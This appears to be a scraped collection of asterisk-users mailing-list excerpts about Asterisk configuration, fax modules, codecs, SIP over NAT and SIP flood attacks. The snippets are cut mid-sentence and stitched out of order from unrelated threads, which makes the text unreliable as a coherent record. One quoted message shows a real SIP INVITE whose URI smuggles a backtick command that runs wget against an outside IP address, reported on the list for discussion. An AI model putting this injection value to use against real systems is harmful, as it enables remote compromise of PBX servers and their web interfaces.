What have you actually tried? STRFTIME(NOW,America/Detroit,%3q) doesn't work?
-Original Message-
From: asterisk-users On Behalf Of
Antony Stone
Sent: Wednesday, March 16, 2022 8:20 AM
To: Asterisk Users Mailing List - Non-Commercial Discussion
Subject: Re: [asterisk-users] Decimal
if that helps with
your pickup issue.
Tom
-Original Message-
From: asterisk-users On Behalf Of
Karsten Wemheuer
Sent: Tuesday, March 1, 2022 10:51 AM
To: Asterisk Users Mailing List - Non-Commercial Discussion
Subject: Re: [asterisk-users] Pickup with pjsip not working
Am Dienstag, dem
for a
pickup code (some have default codes). So knowing what phones you are trying to
do this with might help solve it.
Tom
From: asterisk-users On Behalf Of
Joshua C. Colp
Sent: Tuesday, March 1, 2022 6:36 AM
To: Asterisk Users Mailing List - Non-Commercial Discussion
Subject
I believe that # in the default terminator for GET DATA and I don’t think that
can be disabled. But I’m not a 100% as I’ve always used # as the terminator.
From: asterisk-users On Behalf Of
Dovid Bender
Sent: Sunday, February 27, 2022 11:01 AM
To: Asterisk Users Mailing List -
list campaign to an IVR to consider?
Tom
On 02/02/2017 10:17 PM, Pete Mundy wrote:
On 2/02/2017, at 9:52 pm, A J Stiles <asterisk_l...@earthshod.co.uk> wrote:
but in simple solidarity with everyone who has ever
been pissed off by a machine-initiated spam marketing phon
@lists.digium.com
Subject: Re: [asterisk-users] Tdm4010p 4 port card
Try using older Asterisk version (1.8.x) and older dahdi (2.6.x)
It should work then.
Mitul Limbani
On 10-Jul-2015 9:07 PM, Tom Judge tvju...@gmail.com wrote:
Hi running asterisk 13.x and dahdi-linux-complete-2.10.2+2.10.2. It looks
Hi running asterisk 13.x and dahdi-linux-complete-2.10.2+2.10.2. It looks like
the kernel drivers lod but in asterisk console dahdi show anything not working.
Trina to use a TDM410P pci card. Is this just too old and extinct card?Any
suggestions gratefully apprecuated. We are a small
: 414.343.1720 | Helpdesk: x3400 or helpd...@mcts.org
Jamie Rees jr...@gmlnt.com 7/7/2015 2:03 PM
Hi Tom,
Thank you for your informative and helpful reply. I had considered using the
relaxdtmf setting but held off this due to not using any physical connection
hardware -Asterik uses both SIP in and out from
It's called DTMF Talk-off. We have it too. Seems worse when talking to mobile
phones but it happens at random on many external calls. If this happens to you,
especially on voice peaks (when the outside party said a particularly loud
syllable) then you probably have DTMF talk-off.
I think it's
,
I'm not too confident it has.
Thanks,
Jamie
-Original Message-
From: asterisk-users-boun...@lists.digium.com
[mailto:asterisk-users-boun...@lists.digium.com] On Behalf Of Tom Peters
Sent: 07 July 2015 20:45
To: 'Asterisk Users Mailing List - Non-Commercial Discussion'
Subject: Re
Switched from Asterisk 1.8 to 13.3.2. Now it logs to /var/log/asterisk/full
(good) as well as /var/log/messages (not good). Anyone know why?
# grep -v ^; logger.conf
[general]
[logfiles]
console = notice,warning,error
messages = error
full = notice,warning,error,debug,verbose,dtmf,fax
messages = error
states to log error messages to 'messages' log file
On 26 June 2015 at 17:50, Tom Peters tpet...@mcts.org wrote:
Switched from Asterisk 1.8 to 13.3.2. Now it logs to
/var/log/asterisk/full (good) as well as /var/log/messages (not good).
Anyone know why?
# grep -v
12:58 PM
On 2015-06-26 12:14, Tom Peters wrote:
Ok, commented out that line. It's still doing it. Reloaded dialplan.
Please don't tell me I have to restart asterisk.
asterisk -rx logger reload
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Carlos Chávez
dCAP #1349
+52 (55)9116-91161
Hello all, first post, need help. I'm running a complex asterisk 1.8 install
with five machines. I inherited it and don't fully understand it, nor the deep
mysteries of asterisk either. I would appreciate any insight you might have. I
scoured the 'net and the Digium wiki and my Google-Fu has
First I am new to PBX so i might be doing something fundamentally wrong...
That being said I got a FreePBX 32bit stable 6.12.65.
I am having some issue with the NAT and sound, both phones are ringing
but there is sound, I had some talk on IRC:
[TK]D-Fender Note for elfranne's situation, :
I have a call recording (audio) requirement that isn't addressed by
local Monitor/Record features.
All signalling and media currently pass through the Asterisk servers,
so that won't be an issue.
Instead of locally recording audio, for certain calls I need to add
what is effectively a 3rd leg to
You might want to check/compare disk-io throughput on your G5 vs G7.
Just a thought
Thanks Hans, I will do some disk benchmarking just in case. I do know
that I/O wait on the G7s has been an order of magnitude less than the
G5s under the same load so I *think* the fancier raid device and
I think I may have found the issue affecting our HP DL360 G7s (but I
don't begin to understand why this problem does not happen on our HP
DL360 G5 with a slower disk subsystem).
Recap: Running tcpdump on SIP UDP along with Asterisk 1.8.* causes
Autodestruct ... owner in place ... BYE messages
On Wed, Jun 13, 2012 at 9:06 PM, Andrew Joakimsen joakim...@gmail.com wrote:
Make sure you have installed Proliant Support Pack (PSP) then you can
monitor the system through HP System Management Homepage (SMH)
HP publishes drivers for the network cards. I've never used them as
the built in
Any tips on solving the following performance conundrum:
Asterisk 1.8.12.2 running on HP DL360 G5 and G7s
tcpdump running to capture UDP 5060/SIP signaling to .pcap files
All calls are ultimately B2BUA client - asterisk - PSTN
Media stays on Asterisk at all times
AGI script has exit handler
On Mon, Jun 4, 2012 at 12:15 AM, Steve Edwards
asterisk@sedwards.com wrote:
This AGI (which should only take about 20 seconds) occasionally takes a
minute or 3 to complete, but it does complete.
You should also be seeing the Autodestruct message? I put a sleep 60
in my exit handler and can
I'm probably over thinking this but would like to know what folks think about:
I have an array of identical Asterisk servers that are effectively
running a 'calling card' style application. First leg inbound
to validate a bunch of things and if all pass, second leg is outbound
and 'billable'.
Just installed asterisknow 1.6. I can access freepbx. I need to test
system on my LAN. Which softphone is best to use? I'm running ubuntu
on Dell optiplex G260 desktop at home. I'm hoping to setup basic IP PBX
for incoming/outgoing calls. No video.
Tom
On 01/06/2012 04:03 PM, Ross Cameron wrote:
On Sat, Jan 7, 2012 at 12:00 AM, Tom Poe tom...@meltel.net
mailto:tom...@meltel.net wrote:
Just installed asterisknow 1.6. I can access freepbx. I need to
test system on my LAN. Which softphone is best to use? I'm
running ubuntu
Anyone point me to discussion as to which is better choice for new
asterisknow user?
Thanks, Tom
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On Fri, Dec 2, 2011 at 12:44 PM, Steve Edwards
asterisk@sedwards.com wrote:
Gordon (based on my understanding of his posts) does a lot of Asterisk
systems on very limited hardware hosts. His approach uses iptables features
to limit the number of SIP INVITES and REGISTERS per second per IP
On Thu, Dec 1, 2011 at 8:13 AM, Gordon Henderson
gordon+aster...@drogon.net wrote:
Yes, I know exactly how Fail2Ban works.
Then you should be able to proffer a better argument of why it isn't necessary.
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On Thu, Dec 1, 2011 at 8:30 AM, gincantalupo
gincantal...@fgasoftware.com wrote:
Hi all,
any idea about how to replace Skype For Asterisk?
Thank You.
Giorgio
We are going through this right now and have chosen to Pay The Man
via per channel subscription to Skype Connect.
Watch the fun
On Tue, Nov 29, 2011 at 4:44 PM, john Millican j...@millican.us wrote:
Maybe I am misunderstanding the gist of the comment
OP offered an invalid comparison of how iptables is better than Fail2Ban.
Whether or not OP knew that Fail2Ban simply feeds rules to iptables is
unclear from his comments.
On Sun, Nov 27, 2011 at 8:47 AM, Gordon Henderson
gordon+aster...@drogon.net wrote:
Linux has excellent built-in subsystems to control firewalling and so on
without resorting to external programs. It's called iptables. If you know
how to use them, then using an external resource such as
So I did a little more digging and found a real simple answer:
${CHANNEL(audionativeformat)}
tells me 'ulaw' or 'siren14' and lets me pick the right file extension
for the record function.
On Tue, Sep 13, 2011 at 5:19 PM, Tom Browning ttbrown...@gmail.com wrote:
Sorry if this is an obvious
I'm chasing down some DTMF interop issues would like to hopefully rule
out Asterisk in the following configuration:
RTP path is:
Linux/PC/Mac SIP clients - [MediaProxy as needed] - Asterisk 1.8.7
- SIP termination provider(s)
DTMF is strictly RFC2833 with no in-band.
Asterisk stays in the media
Sorry if this is an obvious question and perhaps my Google foo isn't
right on this one:
I have calls coming into an Asterisk server that may be using 2
different codecs. I am recording audio in both cases but the
challenge is knowing which codec was negotiated at call setup. I need
to pass the
URI?
Tom
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...@evaristesys.com wrote:
On 09/11/2011 07:05 PM, Tom Browning wrote:
INVITE
sip:00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x
SIP/2.0.
My guess is that this attack presumes you are running a web GUI such as
FreePBX, and that it does not sanitise embedded HTML
to play to the inbound leg in addtion
to the bridged inbound audio.
Thanks in advance including any RTFM references :-)
Tom
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those files in your TFTP directory? You need both
the RINGLIST.DAT file that specifies what files are available and what
they are called, PLUS the actual ring files themselves. All of my Cisco
ringer files are .pcm files, like ATT,pcm, ATT2.pcm, etc.
Tom
from the ps command that shows
the output, command line, and header for asterisk will help, too.
Tom
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Maybe some more specifics would help here.
Tom
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On 01/31/2011 12:51 PM, salaheddine elharit wrote:
I have asterisk installed in our call center and i want to know how to
do in order to save all the calls (inbound and outbound) if there is any
tool
Yes, there is.
Tom
PS: Sorry, I couldn't resist
for information on Call Monitoring and recording.
Specifically, call queues have monitoring options that will likely fit
your needs.
Are you running a GUI like FreePBX?
Tom
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On Jan 30, 2011, at 4:21 AM, Pezhman Lali wrote:
Dear,
Faxter is an opensource email to fax gateway,
please check it, let me know if any bug.
best
I'll get right on that.
Tom
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to rolling my own as things move along.
Many thanks,
Tom
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good in my experience.
Tom
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the app_fax module. In other words, I think that multiple
modules provide applications named ReceiveFax and SendFAX.
Am I correct to infer that using app_fax.so is no longer recommended and
that res_fax.so with res_fax_spandsp.so -OR- res_fax_digium.so is now
the way to go?
Tom
On 01/26/2011 2:16 PM, Kevin P. Fleming wrote:
On 01/26/2011 01:12 PM, Tom Rymes wrote:
On 01/26/2011 1:49 PM, Kevin P. Fleming wrote:
snip
Am I correct to infer that using app_fax.so is no longer recommended and
that res_fax.so with res_fax_spandsp.so -OR- res_fax_digium.so is now
the way
OK, I generally use Hylafax+IAXModem for our faxing, but I have been
fiddling with FFA and SpanDSP for a while.
Is there a good way to determine what version of SpanDSP I have
installed and whether the app_fax.so module is the same version?
Many thanks,
Tom
on the port it came in on, not based on a DID.
Tom
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On 01/21/2011 8:59 AM, Steve Underwood wrote:
On 01/21/2011 08:37 PM, Tom Rymes wrote:
On Jan 20, 2011, at 8:52 PM, Steve Underwood wrote:
[snip]
Its easy to set up some t38modem channels and some iaxmodem channels for
receiving FAXes. Transmit is more problematic. With this split config
On Jan 19, 2011, at 11:08 PM, DSR wrote:
Is there anyway to play prerecorded agent intro-speech (like Hello, my name
is ) to outside caller when agent picks up?
I don't know of a way to do that, but I can say that, as a caller, it is highly
annoying. Your agents ought to be able to do
. This is the
same reason you cannot register two devices to the same extension.
Have you checked the logs and verified that the SIP provider actually
sends 59595959 when you dial that number? Or do you get sent 52525252 no
matter what?
Someone please correct me if I am wrong here.
Tom
On 01/19/2011 10:34 PM, Da Rock wrote:
WARNING[988]: chan_sip.c:19069 handle_response_invite: Re-invite to
non-existing call leg on other UA. SIP dialog
'481cf0543743e6bb7006991d409ed3bc@150.101.178.33:5060'. Giving up.
Have you tried disallowing re-invites?
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in via the PSTN to
AST 1.4?
Tom
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On Jan 20, 2011, at 5:52 PM, Amit Nepal wrote:
On 1/20/2011 3:07 PM, Tom Rymes wrote:
On 01/20/2011 4:26 PM, Amit Nepal wrote:
I have an Audio code gateway between two asterisk servers. The audio
code has PRI connected for PSTN. I can send faxes and receive faxes in
ast 1.4 . Also I can
,
then reverse yourself in the last parenthetical statement.
Tom
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heard of CTRL+END it works in Outlook
How amusing that you follow that statement by being too lazy to trim all of the
irrelevant crud after your comment by pressing ctrl-shift-end followed by
delete. It works in Outlook.
Tom
, you need to modify the dial
command to strip the 0 before sending it.
Tom
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is between:
1.) Top Posting - No Trimming
2.) Bottom or interleaved posting WITH TRIMMING.
In fact, I'd rather you top post and trim than bottom post and not.
That's one thing we can all agree on.
Tom
[going back to biting my lip
), and it is an excellent solution. I also have some experience
with their HylaFAX client, which is included with the server, and I can
say it is very well done.
Might be worth the cash for large fax users like you describe.
Tom
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channel by asterisk?
In other words, which of the following is your situation:
1.) User dials 0X, asterisk sends 0X to the telco.
2.) User dials 0X, asterisk parses 0, strips it, and sends X
to the telco.
That might narrow it down.
Tom
in analog telephones as extensions. Any of the E1 cards you
are looking at will not require any additional power beyond what the
motherboard provides to the slot.
Tom
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verbose installation, like
FreePBX) and see if anything pops out at you. Basically, you want to figure out
what was happening on the server at the time of the crash? Incoming fax? Hangup
of a Dahdi channel? Incoming Dahdi call, etc.
That will likely point you in the right direction.
Tom
!
Also, http://mailformat.dan.info/config/outlook.html shows the general steps
needed to make Outlook approximate standards.
HTH,
Tom
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While we're at it, can someone please tell me whether I should be using
vi or emacs? ;-)
Many thanks,
Tom
PS: Bilal: You have asked a nearly unanswerable question. Some prefer
one, some prefer the other. Both cards are quality items. I can say that
I only have experience with Sangoma T1/E1
because only one client behind NAT can use port 5060,
so other clients need to use other ports. Could be another reason, though.
Tom
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, and illogical
everywhere. This is because we normally read top to bottom, but top-posting
forces you to read bottom to top.
Tom
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.
As for your question about ports (see, I can stay on topic occasionally!),
someone already mentioned something about some equipment using 5004 for RTP,
IIRC, and I mentioned the common use of 5061, 5062, 5063, etc for multiple SIP
clients behind NAT. There may be other reasons, too.
Tom
On Jan 14, 2011, at 7:12 PM, Bruce B wrote:
Thanks. That is in both TCP and UDP for SIP right? or simply UDP would do it
as well? I am talking strictly in case of Asterisk.
Asterisk 1.6 and newer support SIP over TCP. Older versions were UDP only, IIRC.
Tom
compact and nicely legible.
Tom
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asterisk
at http://www.queuemetrics.com ?
Tom
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On 01/13/2011 2:07 PM, Tom Rymes wrote:
That will require additions to your login/logout context that write
entries to the log each and every time a user logs in/out. You can then
report on that data.
While there's a thread going on about this topic, and while I've written
the above comment
On Jan 9, 2011, at 8:27 AM, William Stillwell wrote:
Anybody notice log delays in this list, and very small amount of traffic?
I have noticed multiple hour delays between sending messages and seeing them
back.
Tom
.
Tom
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that the detection is really intended for non-dedicated lines; I'm
just trying to ensure it works before I start using it.
Thanks for the response.
Tom
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On Jan 6, 2011, at 10:05 AM, Andy Graybeal wrote:
On 01/05/2011 01:51 PM, Tom Rymes wrote:
On 01/05/2011 7:50 AM, Andy Graybeal wrote:
We've got two noisy kitchens that need to talk back and forth.
Andy,
Why, exactly, are you trying to combine an inter-kitchen intercom and
your phone
for making phone calls?
Tom
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On 01/04/2011 8:55 AM, Kevin P. Fleming wrote:
On 01/03/2011 06:47 PM, Thomas Rymes wrote:
On Jan 3, 2011, at 3:22 PM, Kevin P. Fleming wrote:
On 01/03/2011 11:26 AM, Tom Rymes wrote:
[snip]
OK. Either way, though, the changes to echo cancellation are not
affected by the faxdetect setting
might decide
that the additional cost is justified.
Tom
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other program to handle the mp3 files?
I am fairly certain that Asterisk cannot handle mp3 natively (most
likely for licensing reasons).
Tom
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New
for wctdm24xxp, or if it has already been
made. Can anyone clarify?
Many thanks,
Tom
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.
If you use a non-Digium card, you'll need to update those
configurations, too.
Tom
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in DAHDI affect that
behavior?
Many thanks,
Tom
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a call.
Tom
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this won't work for extension 's'..
The short google search I did didn't turn up anything concrete.
Thank you!
-Tom
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thanks in advance!
-Tom
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Music/Computer Science
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And the calling applications appear to not recognize this 200 OK and
never send an ACK and Asterisk eventually throws in the towel on the
call setup
Is there a knob I can adjust this behavior? The original To: is never
molested in the same way, just the Contact header.
Thanks in advance,
Tom
Good article - might solve our problems for now:
http://jcs.org/notaweblog/2010/04/11/properly_stopping_a_sip_flood
He got the bots to stop by writing a ruby script that responds back to them
with a SIP 200 OK.
I'm going give it a go when I'm back home...
Cheers,
Tom
-
Yep - this is the same codebase - the attack that I had from an EC2 yesterday
and the day before, all had the User-Agent: friendly-scanner too.
Looks like they are branching out
Go with Joshua Steins blog post - it worked perfect for me and got it off my
back.
Cheers,
Tom
Hi,
This is exactly what I've just joined this mailing list about.
Has anyone has any luck getting Amazon to stop the instances? I'm stuck with
around 700Kbps of my 2.5Mbps inbound in use as my firewall blocks the requests
as below.
Cheers,
Tom
-Original Message-
From: asterisk
Yeah - I've reported it to the EC2 abuse address about 10 hours ago, with no
response as of yet.
I'm waiting on my ISP to see if they can block anything further upstream.
I should be lucky it's not 6Gbps like some!
Cheers,
Tom
-Original Message-
From: asterisk-users-boun
hi
anyone experience with that and maybe asterisk / switchvox?
thx
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hi,
i havent spent that much time with asterisk lately, but still wanted
to gather information on how to initiate a call:
1) fact
what i know which is possible:
- via call-file
- via (sip)-client
- AGI
2) desired
- URL
-- is this possbile?
3) others
-- whats missing here?
thx
--
thx danny, i checked ur link, but not sure for what to search in terms
off http/js/ajax...
my application is a rails, so adhearison / rami apps sound goo dto me,
but if possible i would go without the roundtrip to my application
server
tom
On Tue, Feb 9, 2010 at 1:59 PM, Danny Nicholas da
their phone and when they pick up then it should call the
recipient.
i did this with a call-file, but i'l like to do this via url...
thats the whole scenario.
thx tom
On Tue, Feb 9, 2010 at 3:30 PM, Tzafrir Cohen tzafrir.co...@xorcom.com wrote:
On Tue, Feb 09, 2010 at 01:48:35PM -0500, tom wrote:
hi
Your sound file needs to be in the asterisk sounds directory.
Another thing is that you may not have to put the file extension in the name
if the file is in the proper place as well.
Try that and see what happens.
Tom
-Original Message-
From: asterisk-users-boun...@lists.digium.com
??? english please
On Thu, Dec 10, 2009 at 8:34 AM, Hakan C ella4e...@gmail.com wrote:
Selam Yavuzhan,
Backup paneli yerine, elle backup almayi deneyebilirsin.
Ayrica Trixbox icin buradan destek alabilecegini zannetmem.
Trixbox'in kendi forumlarina yaz derim.
Kolay gelsin.
On Wed, Dec
hi,
we are running a switchvox system, and i would like to know what the
practice is for users who are working party in the main office and on some
other days with their laptops either from home of on the road...
right now i told them to unplugg the hardphone, coz having a softphone and
the
that person initiates a call as well the main-ext or
do is this a setting somewhere?
thx again
regs tom
On Wed, Nov 25, 2009 at 12:16 PM, Ryan Wagoner rswago...@gmail.com wrote:
I setup another extension for the softphone and enable followme on
their main extension to ring both. For example 8678
:5735 sip_call: No audio format
found to offer. Cancelling call to foo
So while inbound calls work fine with siren14 as the only allow=, Asterisk
won't initiate an outbound call with siren14 as the only choice.
Tom
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the
INVITE and the call attempt that complains is 'ulaw' vs 'siren14' in
the sip.conf allow= and spol file Codecs: header.
Clearly those codec choices are not treated the same to build an
outbound INVITE.
Tom
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